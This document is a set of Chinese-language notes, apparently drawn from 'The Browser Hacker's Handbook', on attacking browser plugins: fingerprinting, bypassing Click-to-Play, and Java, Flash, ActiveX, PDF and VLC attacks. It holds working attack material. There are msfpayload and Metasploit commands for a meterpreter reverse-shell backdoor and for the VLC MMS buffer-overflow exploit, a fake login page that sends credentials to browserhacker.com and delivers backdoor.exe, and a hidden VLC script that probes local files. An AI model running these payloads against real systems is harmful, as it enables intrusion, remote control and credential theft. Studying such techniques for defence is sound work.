攻击插件
插件接口将外部代码或应用绑定到浏览器,从而利用这些第三方插件
理解插件
插件由两部分组成:
- 浏览器API:控制浏览器与外部代码的交互
- 脚本API:允许浏览器内部的代表插件的对象可以通过Web API操作
插件与扩展的区别
扩展:通过JavaScript和其他API利用已有的浏览器接口来增加功能,在多个页面有效
插件:利用外部代码,只有接收到特点文件格式才使用
- 文件通过<object>或<embed>标签嵌入网页
- Content-type引用一个MIME类型,表示浏览器如何处理这种文件
插件与标准程序的区别
插件与标准程序的区别在于,它们独立地扩展浏览器功能。插件通常会与外部应用调用相同
的代码。
调用插件
调用的两种途径:
- Web服务器交付的Content-type与相应的MIME类型匹配
- 示例
- 示例
- 通过<embed>或<object>标签
- 示例
<object data="flashdemo.swf" type="application/x-shockwave-flash"> <param name="bhh" value="true"> //向Flash插件中传入bhh参数 </object>
点击播放(Click to Play)
Click to Play(点击播放)是在运行插件之前请求用户授权。
采集插件指纹
检测插件
手动检测
Firefox和Chrome会把安装的插件放在一个DOM对象navigator.plugins中
因此简单创建一个网页,结合Mozilla参考信息输出一个表格即可:
<HTML>
<BODY>
<SCRIPT>
var pluginLen = navigator.plugins.length;
document.write("<TABLE><TR><TH COLSPAN=4>");
document.write(
"Plugins Found: " + pluginLen.toString() + " </TH></TR>" +
"<TR><TH>Name</TH><TH>Filename</TH>" +
"<TH>Description</TH><TH>Version</TH></TR>\n"
);
//获取navigator.plugins中的信息
for(var i = 0; i < pluginLen; i++) {
document.write(
"<TR><TD>"+
navigator.plugins[i].name +
"</TD><TD>" +
navigator.plugins[i].filename +
"</TD><TD>" +
navigator.plugins[i].description +
"</TD><TD>" +
navigator.plugins[i].version +
"</TD></TR>\n"
);
}
document.write("</TABLE>");
</SCRIPT>
</BODY>
</HTML>
可以进一步检测navigator.mimeTypes这个DOM对象,获取相应的插件是否返回MimeType对象,或者返回undefined。
- 检测是否安装Flash:
!!navigator.mimeTypes["application/x-shockwave-flash"]
在IE中,多数插件都在ActiveX控件中执行
检测系统中是否安装了某插件,可以尝试实例化一个ActiveX对象并检测实例化之后返回的是不是一个有效的对象。
flash_versions = 11;
flash_installed = false;
objname = "ShockwaveFlash.ShockwaveFlash.";
if (window.ActiveXObject) {
for (x = 2; x <= flash_versions; x++) {
try {
Flash = eval("new ActiveXObject('" + objname + x + "');");
if (Flash) {
flash_installed = true;
}
} catch (e) { }
}
}
自动检测
PluginDetect
- 插件检测框架
BeEF检测
攻击插件
绕过点击播放
某些小型或隐藏插件的实例,可能不会请求用户许可也能执行。
Firefox的示例
<html>
<head>
<style type='text/css'>
#overlay {
background-color: black;
position: absolute;
top: 0px;
left: 0px;
width: 550px;
height: 450px;
color: white;
text-align: center;
padding-top: 100px;
pointer-events: none; //阻止在黑色#overlay div上触发任何鼠标事件
}
</style>
<body>
<div id="overlay">Click here</div>
<applet code="Foo.class" width="500" height="500"/>
</body>
</html>
Java示例
void initAppletAdapter(AppletExecutionRunnable
paramAppletExecutionRunnable)
throws ClassNotFoundException, IllegalAccessException,
ExitException, JRESelectException, IOException,
InstantiationException {
long l = DeployPerfUtil.put(0L,"Plugin2Manager.createApplet() - BEGIN");
/*
* 取得"code"和"object"小程序属性的值
*/
String str1 = getSerializedObject();
String str2 = getCode();
[...snip...]
if ((str2 != null) && (str1 != null)) {
System.err.println(amh.getMessage("runloader.err"));
throw new InstantiationException("Either \"code\" or \"object\"" +" should be specified, but not both.");
}
if ((str2 == null) && (str1 == null))
return;
if (str2 != null) {
/*
* 通过"code"属性正常加载小程序
* 触发Ctp pop=up,等待用户介入
*/
if (fireAppletSSVValidation()) {
appletSSVRelaunch();
}
[...snip...]
} else { //如果没有使用code属性,Java假设你会使用object属性,也就是加载序列化后的小程序。这时候,不会触发点击播放机制
if (!this.isSecureVM)
return;
// 通过"object"属性加载serialized小程序
this.adapter.instantiateSerialApplet(localPlugin2ClassLoader, str1);
this.doInit = false;
DeployPerfUtil.put("Plugin2Manager.createApplet()" +" - post: secureVM .. serialized .. ");
}
[...snip...]
DeployPerfUtil.put(l, "Plugin2Manager.initAppletAdapter() - END");
}
利用:
<embed object="object.ser" type="application/x-java-applet;version=1.6">
攻击Java
Java小程序
- 签名小程序:可以在沙箱外部执行代码
- 未签名小程序:在沙箱内执行代码,默认会屏蔽代码访问文件系统以及执行操作系统命令
检测Java
使用System.getProperty方法获取Java版本或厂商:
import java.applet.*;
import java.awt.*;
public class JVersion extends Applet{
public JVersion() {
super();
return;
}
public static String execute() {
return (" Java Version: " + System.getProperty("java.version")+" by "+System.getProperty("java.vendor"));
}
}
调用上面代码的HTML及JavaScript代码:
<object id='JVersion' name='JVersion'>
<param name='code' value='JVersion.class' />
<param name='codebase' value='null' />
<param name='archive' value='http://browserhacker.com/JVersion.jar' />
</object>
<script>
document.write(document.JVersion.execute());
</script>
破解Java小程序
- Java反编译器:JD-GUI
绕过Java沙箱
- CVE-2013-0422
利用Java
- CVE-2013-2423
- Metasoloit模块:java_jre17_driver_manager
攻击Flash
共享对象
支持从数据存储中本地或远程检索数据。共享对象最常见的用途就是Flash的cookie。
- 共享对象数据并不经常清除
- 共享对象信息
- Mac:Library/Preferences/Macromedia/Flash Player/#SharedObjects/
- Windows:C:\Documents and Settings\ [username]\Application Data\Macromedia\Flash Player
ActionScript
ActionScript是一个开源的脚本语言,Adobe Flash和Apache Flex都在使用。
Flash的设计初衷是增强网页功能,因此通常很少需要与操作系统直接交互。
ActionScript则可以发送网络和Web请求,访问某些外围设备,以及向用户发送流媒体。
- 转码工具:SWFScan
利用摄像头和麦克风
- 查看摄像头是否开启:查询Camera类的name属性
- 查看麦克风:Microphone类和NetStream类
Flash模糊测试
- 开源工具:Radamsa
攻击ActiveX插件
ActiveX是为IE设计的,但有插件可以使Chrome和Firefox在不打开IE窗口的前提下运行ActiveX。
- 示例
- Metasploit
- 生成payload:
msfpayload windows/meterpreter/reverse_tcp LHOST=攻击者地址 LPORT=8675 R | msfencode -c 3 -t exe > backdoor.exe
- 启动Metasploit的msfconsole,允许payload连接
- 启动multi/handler
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 攻击者地址
set LPORT 8675
set ExitOnSession false
exploit -j
- 构建虚假界面
<html> <body> <script> function submitData() { var x = document.getElementById("sploit"); var url = "http://browserhacker.com/capture.rb?un=" + x.elements[0].value + "&pw=" + x.elements[1].value; document.getElementById('t1').background=url; } </script> <div align=center> <form id="sploit" > <table id='t1' border=0 background=""> <tr><th colspan=2>BrowserVictim.com Chat System<BR> Please Log in with your ActiveDirectory Credentials</th></tr> <tr><th>Username:</th><td><input type=text name="user"></td></tr> <tr><th>Password:</th><td><input type=password name="pass" onBlur="submitData()"></th></tr> <tr><th colspan=2> <object classid='clsid:C28A127E-4A85-11D3-A5FF-00A0249E352D' id='target'></object> </tr></td> </form> <BR> </div> <script language='vbscript'> document.getElementById("target").fileName = "Z:\\backdoor.exe" </script> </body> </html>
- 生成payload:
- Metasploit
攻击PDF阅读器
PDF中使用JavaScript
- UXSS
UXSS漏洞允许用户向PDF中传入参数,然后文档中的JavaScript可以处理这些参数。
http://browserhacker.com/test.pdf#PDF=javascript:alert('xss')
- 启动另一个浏览器
PDF可以启动浏览器并请求特定的URL,app.launchURL方法可以让操作系统启动默认浏览器。
app.launchURL("http://browserhacker.com:3000/demos/report.html",true);
攻击媒体插件
通过VLC扫描资源
给VLC ActiveX插件添加一个播放列表项并尝试播放它,会得到位于播放列表中的文件是否有效的反馈。
<object style="visibility:hidden" classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921" width="0" height="0" id="vlc"></object>
<script>
vlc.playlist.clear();
vlc.playlist.add(items[i]);
vlc.playlist.playItem(0);
vlc.attachEvent("MediaPlayerPlaying", onFound);
vlc.attachEvent("MediaPlayerEncounteredError", onNotFound);
</script>
枚举items数组中定义的资源:
try {
var result = "";
var i = 0;
// 创建div来附加上VLC对象
var newdiv = document.createElement('div');
var divIdName = 'temp_div';
newdiv.setAttribute('id',divIdName);
newdiv.style.width = "0";
newdiv.style.height = "0";
newdiv.style.visibility = "hidden";
document.body.appendChild(newdiv);
// 创建对象
document.getElementById("temp_div").innerHTML = "<object style=\"visibility:hidden\"" + " classid=\"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921\"" + " width=\"0\" height=\"0\" id=\"vlc\"></object>";
var items = [
"C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.20125.0",
"C:\\Program Files (x86)\\Sophos\\Sophos Anti-Virus",
"C:\\Users\\wade",
"C:\\Users\\morru"
]
function onFound(event){
result += items[i] + "\n";
i++;
console.log("Found");
next();
}
function onNotFound(event){
i++;
console.log("Not Found");
next();
}
function next(){
if (i >= items.length){
vlc.playlist.stop();
// 将结果返回框架
console.log("Discovered resources:\n" + result);
// 清除
var rmdiv = document.getElementById("temp_div");
document.body.removeChild(rmdiv);
return;
}
vlc.playlist.clear();
vlc.playlist.add("file:///" + items[i]);
console.log("Adding item " + items[i] + " to playlist.");
vlc.playlist.playItem(0);
}
vlc.attachEvent("MediaPlayerPlaying", onFound);
vlc.attachEvent("MediaPlayerEncounteredError", onNotFound);
next();
} catch(e) {}
利用媒体播放器
- VLC MMS Stream Handling Buffer Overflow
漏洞通过IE及恶意URL启动VLC,然后VLC处理该URL,于是就会导致SEH重写,最终执行payload代码。 - 在Metasploit的msfconsole中启动这个恶意URL
use exploit/windows/browser/vlc_mms_bof
set URIPATH /vlc
set payload windows/meterpreter/reverse_tcp
set LHOST 攻击者地址
set LPORT 8675
exploit
参考文献
《黑客攻防技术宝典——浏览器》